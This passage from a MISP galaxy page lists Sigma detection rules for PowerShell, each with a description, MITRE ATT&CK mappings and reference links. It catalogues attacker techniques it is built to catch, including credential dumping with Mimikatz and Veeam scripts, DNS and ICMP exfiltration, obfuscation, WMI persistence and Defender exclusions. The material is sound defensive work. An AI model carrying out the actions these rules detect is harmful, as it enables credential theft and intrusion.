- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 16578. Table References

Links
https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_apt_silence_eda.yml

Suspicious New-PSDrive to Admin Share

Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

The tag is: *misp-galaxy:sigma-rules="Suspicious New-PSDrive to Admin Share"*

View relationships graph

Suspicious New-PSDrive to Admin Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16579. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.2

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml

Veeam Backup Servers Credential Dumping Script Execution

Detects execution of a PowerShell script that contains calls to the "Veeam.Backup" class, in order to dump stored credentials.

The tag is: *misp-galaxy:sigma-rules="Veeam Backup Servers Credential Dumping Script Execution"*

Table 16580. Table References

Links
https://www.pwndefend.com/2021/02/15/retrieving-passwords-from-veeam-backup-servers/
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_veeam_credential_dumping_script.yml

Powershell Directory Enumeration

Detects technique used by MAZE ransomware to enumerate directories using Powershell

The tag is: *misp-galaxy:sigma-rules="Powershell Directory Enumeration"*

View relationships graph

Powershell Directory Enumeration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 16581. Table References

Links
https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_directory_enum.yml

Malicious Nishang PowerShell Commandlets

Detects Commandlet names and arguments from the Nishang exploitation framework

The tag is: *misp-galaxy:sigma-rules="Malicious Nishang PowerShell Commandlets"*

View relationships graph

Malicious Nishang PowerShell Commandlets has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16582. Table References

Links
https://github.com/samratashok/nishang
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_nishang_malicious_commandlets.yml

Import PowerShell Modules From Suspicious Directories

Detects powershell scripts that import modules from suspicious directories

The tag is: *misp-galaxy:sigma-rules="Import PowerShell Modules From Suspicious Directories"*

View relationships graph

Import PowerShell Modules From Suspicious Directories has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16583. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_import_module_susp_dirs.yml

Powershell DNSExfiltration

DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel

The tag is: *misp-galaxy:sigma-rules="Powershell DNSExfiltration"*

View relationships graph

Powershell DNSExfiltration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048"

with estimative-language:likelihood-probability="almost-certain"

Table 16584. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh
https://github.com/Arno0x/DNSExfiltrator
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml

Usage Of Web Request Commands And Cmdlets - ScriptBlock

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs

The tag is: *misp-galaxy:sigma-rules="Usage Of Web Request Commands And Cmdlets - ScriptBlock"*

View relationships graph

Usage Of Web Request Commands And Cmdlets - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16585. Table References

Links
https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/
https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request_cmd_and_cmdlets.yml

Potential Invoke-Mimikatz PowerShell Script

Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.

The tag is: *misp-galaxy:sigma-rules="Potential Invoke-Mimikatz PowerShell Script"*

View relationships graph

Potential Invoke-Mimikatz PowerShell Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-

language:likelihood-probability="almost-certain"

Table 16586. Table References

Links
https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml

PowerShell Credential Prompt

Detects PowerShell calling a credential prompt

The tag is: *misp-galaxy:sigma-rules="PowerShell Credential Prompt"*

View relationships graph

PowerShell Credential Prompt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16587. Table References

Links
https://t.co/ezOTGy1a1G
https://twitter.com/JohnLaTwC/status/850381440629981184
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml

Suspicious Service DACL Modification Via Set-Service Cmdlet - PS

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

The tag is: *misp-galaxy:sigma-rules="Suspicious Service DACL Modification Via Set-Service Cmdlet - PS"*

View relationships graph

Suspicious Service DACL Modification Via Set-Service Cmdlet - PS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 16588. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2
https://twitter.com/Alh4zr3d/status/1580925761996828672
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_service_dacl_modification_set_service.yml

Potential PowerShell Obfuscation Using Character Join

Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation

The tag is: *misp-galaxy:sigma-rules="Potential PowerShell Obfuscation Using Character Join"*

View relationships graph

Potential PowerShell Obfuscation Using Character Join has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16589. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_alias_obfscuation.yml

Suspicious PowerShell Invocations - Generic

Detects suspicious PowerShell invocation command parameters

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Invocations - Generic"*

View relationships graph

Suspicious PowerShell Invocations - Generic has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16590. Table References

Links
Internal Research[Internal Research]

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_generic.yml

Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell"*

View relationships graph

Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16591. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml

User Discovery And Export Via Get-ADUser Cmdlet - PowerShell

Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file

The tag is: *misp-galaxy:sigma-rules="User Discovery And Export Via Get-ADUser Cmdlet - PowerShell"*

View relationships graph

User Discovery And Export Via Get-ADUser Cmdlet - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 16592. Table References

Links
http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_user_discovery_get_aduser.yml

Suspicious PowerShell Mailbox Export to Share - PS

Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Mailbox Export to Share - PS"*

Table 16593. Table References

Links
https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
https://youtu.be/5mqid-7zp8k?t=2481
https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml

Automated Collection Bookmarks Using Get-ChildItem PowerShell

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

The tag is: *misp-galaxy:sigma-rules="Automated Collection Bookmarks Using Get-ChildItem PowerShell"*

View relationships graph

Automated Collection Bookmarks Using Get-ChildItem PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

Table 16594. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_childitem_bookmarks.yml

Potential PowerShell Obfuscation Using Alias Cmdlets

Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts

The tag is: *misp-galaxy:sigma-rules="Potential PowerShell Obfuscation Using Alias Cmdlets"*

View relationships graph

Potential PowerShell Obfuscation Using Alias Cmdlets has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16595. Table References

Links
https://github.com/1337Rin/Swag-PSO
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_set_alias.yml

Powershell WMI Persistence

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.

The tag is: *misp-galaxy:sigma-rules="Powershell WMI Persistence"*

View relationships graph

Powershell WMI Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 16596. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md
https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml

Invoke-Obfuscation CLIP+ Launcher - PowerShell

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher - PowerShell"*

View relationships graph

Invoke-Obfuscation CLIP+ Launcher - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16597. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml

Potential WinAPI Calls Via PowerShell Scripts

Detects use of WinAPI functions in PowerShell scripts

The tag is: *misp-galaxy:sigma-rules="Potential WinAPI Calls Via PowerShell Scripts"*

View relationships graph

Potential WinAPI Calls Via PowerShell Scripts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

Table 16598. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_api_susp_access.yml

Malicious PowerShell Keywords

Detects keywords from well-known PowerShell exploitation frameworks

The tag is: *misp-galaxy:sigma-rules="Malicious PowerShell Keywords"*

View relationships graph

Malicious PowerShell Keywords has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16599. Table References

Links
https://adsecurity.org/?p=2921
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_keywords.yml

Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock

Detects the execution of powershell scripts with calls to the "Start-NetEventSession" cmdlet. Which allows an attacker to start event and packet capture for a network event session. Adversaries may attempt to capture network to gather information over the course of an operation. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol.

The tag is: *misp-galaxy:sigma-rules="Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock"*

View relationships graph

Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 16600. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/5f866ca4517e837c4ea576e7309d0891e78080a8/atomics/T1040/T1040.md#atomic-test-16---powershell-network-sniffing
https://github.com/0xsyr0/Awesome-Cybersecurity-Handbooks/blob/7b8935fe4c82cb64d61343de1a8b2e38dd968534/handbooks/10_post_exploitation.md
https://github.com/forgottentq/powershell/blob/9e616363d497143dc955c4fdce68e5c18d28a6cb/captureWindows-Endpoint.ps1#L13

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_packet_capture.yml

PowerShell Script With File Hostname Resolving Capabilities

Detects PowerShell scripts that have capabilities to read files, loop through them and resolve DNS host entries.

The tag is: *misp-galaxy:sigma-rules="PowerShell Script With File Hostname Resolving Capabilities"*

View relationships graph

PowerShell Script With File Hostname Resolving Capabilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

Table 16601. Table References

Links
https://www.fortypoundhead.com/showcontent.asp?artid=24022
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_resolve_list_of_ip_from_file.yml

WMIC Unquoted Services Path Lookup - PowerShell

Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts

The tag is: *misp-galaxy:sigma-rules="WMIC Unquoted Services Path Lookup - PowerShell"*

View relationships graph

WMIC Unquoted Services Path Lookup - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 16602. Table References

Links
https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml

Detected Windows Software Discovery - PowerShell

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.

The tag is: *misp-galaxy:sigma-rules="Detected Windows Software Discovery - PowerShell"*

View relationships graph

Detected Windows Software Discovery - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

Table 16603. Table References

Links
https://github.com/harleyQu1nn/AggressorScripts
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml

Powershell XML Execute Command

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code

The tag is: *misp-galaxy:sigma-rules="Powershell XML Execute Command"*

View relationships graph

Powershell XML Execute Command has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16604. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml

Registry-Free Process Scope COR_PROFILER

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR. (Citation: Microsoft Profiling Mar 2017) (Citation: Microsoft COR_PROFILER Feb 2013)

The tag is: *misp-galaxy:sigma-rules="Registry-Free Process Scope COR_PROFILER"*

View relationships graph

Registry-Free Process Scope COR_PROFILER has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012" with estimative-language:likelihood-probability="almost-certain"

Table 16605. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cor_profiler.yml

PowerShell Hotfix Enumeration

Detects call to "Win32_QuickFixEngineering" in order to enumerate installed hotfixes often used in "enum" scripts by attackers

The tag is: *misp-galaxy:sigma-rules="PowerShell Hotfix Enumeration"*

Table 16606. Table References

Links
https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml

PowerShell Set-Acl On Windows Folder - PsScript

Detects PowerShell scripts to set the ACL to a file in the Windows folder

The tag is: *misp-galaxy:sigma-rules="PowerShell Set-Acl On Windows Folder - PsScript"*

View relationships graph

PowerShell Set-Acl On Windows Folder - PsScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"

Table 16607. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1
https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_acl_susp_location.yml

Potential Suspicious PowerShell Keywords

Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious PowerShell Keywords"*

View relationships graph

Potential Suspicious PowerShell Keywords has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16608. Table References

Links
https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7
https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462
https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1
https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keywords.yml

PowerShell ICMP Exfiltration

Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

The tag is: *misp-galaxy:sigma-rules="PowerShell ICMP Exfiltration"*

View relationships graph

PowerShell ICMP Exfiltration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 16609. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_icmp_exfiltration.yml

Windows Defender Exclusions Added - PowerShell

Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions

The tag is: *misp-galaxy:sigma-rules="Windows Defender Exclusions Added - PowerShell"*

View relationships graph

Windows Defender Exclusions Added - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 16610. Table References

Links
https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml

Abuse of Service Permissions to Hide Services Via Set-Service - PS

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

The tag is: *misp-galaxy:sigma-rules="Abuse of Service Permissions to Hide Services Via Set-Service - PS"*

View relationships graph

Abuse of Service Permissions to Hide Services Via Set-Service - PS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 16611. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2
https://twitter.com/Alh4zr3d/status/1580925761996828672
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_using_set_service_to_hide_services.yml

Testing Usage of Uncommonly Used Port

Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.

The tag is: *misp-galaxy:sigma-rules="Testing Usage of Uncommonly Used Port"*

View relationships graph

Testing Usage of Uncommonly Used Port has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

Table 16612. Table References

Links

https://learn.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml

PowerShell Create Local User

Detects creation of a local user via PowerShell

The tag is: *misp-galaxy:sigma-rules="PowerShell Create Local User"*

View relationships graph

PowerShell Create Local User has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 16613. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_local_user.yml

NTFS Alternate Data Stream

Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.

The tag is: *misp-galaxy:sigma-rules="NTFS Alternate Data Stream"*

View relationships graph

NTFS Alternate Data Stream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16614. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md
https://web.archive.org/web/20220614030603/http://www.powertheshell.com/ntfsstreams/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml

PowerShell Web Access Installation - PsScript

Detects the installation and configuration of PowerShell Web Access, which could be used for remote access and potential abuse

The tag is: *misp-galaxy:sigma-rules="PowerShell Web Access Installation - PsScript"*

View relationships graph

PowerShell Web Access Installation - PsScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16615. Table References

Links
https://gist.github.com/MHaggis/7e67b659af9148fa593cf2402edebb41
https://docs.microsoft.com/en-us/powershell/module/powershellwebaccess/install-pswawebapplication
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powershell_web_access_installation.yml

PowerView PowerShell Cmdlets - ScriptBlock

Detects Cmdlet names from PowerView of the PowerSploit exploitation framework.

The tag is: *misp-galaxy:sigma-rules="PowerView PowerShell Cmdlets - ScriptBlock"*

View relationships graph

PowerView PowerShell Cmdlets - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16616. Table References

Links

https://adsecurity.org/?p=2277
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
https://thedfirreport.com/2020/10/08/ryuks-return
https://powersploit.readthedocs.io/en/stable/Recon/README
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml

Suspicious PowerShell Invocations - Specific

Detects suspicious PowerShell invocation command parameters

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Invocations - Specific"*

View relationships graph

Suspicious PowerShell Invocations - Specific has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16617. Table References

Links
https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_specific.yml

Suspicious X509Enrollment - Ps Script

Detect use of X509Enrollment

The tag is: *misp-galaxy:sigma-rules="Suspicious X509Enrollment - Ps Script"*

View relationships graph

Suspicious X509Enrollment - Ps Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 16618. Table References

Links

